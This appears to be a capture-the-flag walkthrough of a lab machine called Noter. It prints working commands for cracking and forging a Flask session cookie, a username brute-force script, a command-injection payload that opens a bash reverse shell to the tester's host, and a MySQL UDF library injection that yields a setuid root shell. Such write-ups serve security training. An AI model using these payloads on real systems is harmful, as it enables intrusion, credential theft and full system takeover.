Noter
Recon
HTTP (5000)

After registering we can add Notes or become VIP. When trying to add note we get a warning that CKEditor 4
is not secure.

The version led me to CVE-2024-37888, but it doesn't work because (most probably) we are not using rich text editor, just bold italic and etc.

The authentication mechanism is pretty secure, it's not allowing IDOR; reading other's notes. No XSS so far. We could try attacking the Flask Cookies.
└─$ flask-unsign -d -c 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDAyQG5vdGVyLmh0YiJ9.Z13UiQ.QF6dGeYrnv4bcV3oXDM0vfv2BnA'
{'logged_in': True, 'username': 'test02@noter.htb'}
└─$ flask-unsign -u --wordlist $rockyou --no-literal-eval -c 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDAyQG5vdGVyLmh0YiJ9.Z13UiQ.QF6dGeYrnv4bcV3oXDM0vfv2BnA'
[*] Session decodes to: {'logged_in': True, 'username': 'test02@noter.htb'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17152 attempts
b'secret123'
admin
as username didn't work, the website also doesn't have any usernames.
└─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.Z13WFw.41wL3gp96LhSDtxxfi0G9v9x6n8
Brute the username
import requests
from flask_unsign.session import sign
URL = 'http://10.129.72.225:5000/notes'
SECRET = 'secret123'
NAMES = '/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt'
data = {'logged_in': True, 'username': 'admin'}
with open(NAMES) as f:
for i, username in enumerate(f):
username = username.strip()
data['username'] = username
cookie = {'session': sign(data, SECRET)}
resp = requests.get(URL, cookies=cookie, allow_redirects=False)
print(f'\r[{i}] {username} - session={cookie["session"]} {" "*16}', end='')
if resp.status_code == 302:
continue
print(f'\r[{i}] {username} - session={cookie["session"]} {" "*16}')
break
# [112] blue - session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Z13bAQ.zM40ayFGKu5BKEjL-I4oEaC01o8

FTP (21)
└─$ sshpass -p 'blue@Noter!' ftp blue@10.129.72.225
Connected to 10.129.72.225.
220 (vsFTPd 3.0.3)
ftp> ls
229 Entering Extended Passive Mode (|||48297|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 2022 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 2021 policy.pdf
226 Directory send OK.
ftp> mget *
mget files [anpqy?]? a

We got 1 more user ftp_admin
from the website so let's try that.
└─$ sshpass -p 'ftp_admin@Noter!' ftp ftp_admin@10.129.72.225
ftp> ls
229 Entering Extended Passive Mode (|||19975|)
150 Here comes the directory listing.
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> mget *
mget app_backup_1635803546.zip [anpqy?]? a
└─$ unzip app_backup_1635803546.zip -d app_backup_1635803546
└─$ unzip app_backup_1638395546.zip -d app_backup_1638395546
app_backup_1638395546
is more up to date, but app_backup_1635803546
had some credentials hardcoded.

Creds:
root:Nildogg36
blue
user is VIP so he can export notes. One of the functionality is exporting from URL which must end with md
.

local export dies right away for some reason.
The export feature is using subprocess, with shell=True
and is point of interest.

Create malicious md file with command injection
# Fails, dies right away
; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1'; #
# Works, because we escaped the `'`
'; /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"; #
Reverse Shell
(remote) svc@noter:/home/svc/app/web$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
User.txt
(remote) svc@noter:/home/svc$ cat user.txt
87035656f3f9cd7f2fc52a74c9a31f2b
MySQL
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' -e 'SHOW DATABASES;'
+--------------------+
| Database |
+--------------------+
| app |
| information_schema |
| mysql |
| performance_schema |
| test |
+--------------------+
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' app -e 'SHOW TABLES;'
+---------------+
| Tables_in_app |
+---------------+
| notes |
| users |
+---------------+
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' app -e 'SELECT * FROM users;'
+------------------+------------------+------------------+-------------------------------------------------------------------------------+------+
| name | email | username | password | role |
+------------------+------------------+------------------+-------------------------------------------------------------------------------+------+
| Blue Wilson | blue@Noter.htb | blue | $5$rounds=535000$76NyOgtW18b3wIqL$HZqlzNHs1SdzbAb2V6EyAnqYNskA3K.8e1iDesL5vI2 | VIP |
| test02@noter.htb | test02@noter.htb | test02@noter.htb | $5$rounds=535000$I5Dp.yymxxAVTLws$2TM2vX4VvAm/YBouyTpS8lqPgzrba9.HjBgJs6VEFU6 | NULL |
+------------------+------------------+------------------+-------------------------------------------------------------------------------+------+
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' test -e 'SHOW TABLES;'
Privilege Escalation
When we try to list processes we only see ours and MySQL doesn't seem to be running as root. 🤔
(remote) svc@noter:/home/svc$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
svc 1238 0.1 1.3 621912 55940 ? Ssl 18:42 0:11 PM2 v5.2.0: God Daemon (/home/svc/.pm2)
svc 1262 1.4 1.1 1083624 47352 ? Ssl 18:42 1:35 /usr/bin/python3 /home/svc/app/web/app.py
svc 57682 0.0 0.0 6892 3196 ? S 20:21 0:00 /bin/bash -c node misc/md-to-pdf.js $''; /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"; #' 1878
svc 57697 0.0 0.0 6892 3316 ? S 20:21 0:00 /bin/bash -c /bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1
svc 57698 0.0 0.1 8208 5136 ? S 20:21 0:00 /bin/bash -i
svc 57726 0.0 0.0 5604 2252 ? S 20:21 0:00 /usr/bin/script -qc /usr/bin/bash /dev/null
svc 57727 0.0 0.1 8328 5256 pts/0 Ss 20:21 0:00 /usr/bin/bash
svc 59397 0.0 0.0 8892 3424 pts/0 R+ 20:32 0:00 ps aux
(remote) svc@noter:/home/svc$ mount | grep ^proc
proc on /proc type proc (rw,relatime,hidepid=2)
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' app -e 'SELECT LOAD_FILE("/etc/shadow");'
+--------------------------+
| LOAD_FILE("/etc/shadow") |
+--------------------------+
| NULL |
+--------------------------+
It's odd, because we seem to have All Privileges...
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' app -e 'SHOW GRANTS;'
+----------------------------------------------------------------------------------------------------------------------------------------+
| Grants for root@localhost |
+----------------------------------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO `root`@`localhost` IDENTIFIED BY PASSWORD '*937440AD99CBB4A102402708AA43B689818489C8' WITH GRANT OPTION |
| GRANT PROXY ON ''@'%' TO 'root'@'localhost' WITH GRANT OPTION |
+----------------------------------------------------------------------------------------------------------------------------------------+
We can use UDF Library Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md#command---udf-library
Plugins are stored in /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
MariaDB [app]> show variables like 'plugin%';
+-----------------+---------------------------------------------+
| Variable_name | Value |
+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)
https://github.com/1N3/PrivEsc/blob/master/mysql/raptor_udf2.c
└─$ curl -LOs https://github.com/1N3/PrivEsc/raw/refs/heads/master/mysql/raptor_udf2.c
---
(remote) svc@noter:/tmp$ curl 10.10.14.113/raptor_udf2.c -Os
(remote) svc@noter:/tmp$ gcc -g -c raptor_udf2.c
(remote) svc@noter:/tmp$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
(remote) svc@noter:/tmp$ mysql -u root -p'Nildogg36' mysql
MariaDB [mysql]> create table foo(line blob);
MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
MariaDB [mysql]> select do_system('install -m4777 /bin/bash /tmp/rootbash');
MariaDB [mysql]> \!sh ls /tmp/rootbash -lah
-rwsrwxrwx 1 root root 1.2M Dec 14 21:17 /tmp/rootbash
MariaDB [mysql]> exit
Bye
(remote) svc@noter:/tmp$ /tmp/rootbash -p
(remote) root@noter:/tmp# id
uid=1001(svc) gid=1001(svc) euid=0(root) groups=1001(svc)
Root.txt
(remote) root@noter:/tmp# cat /root/root.txt
d1835484ceaff84bf413e428d684ad76
Last updated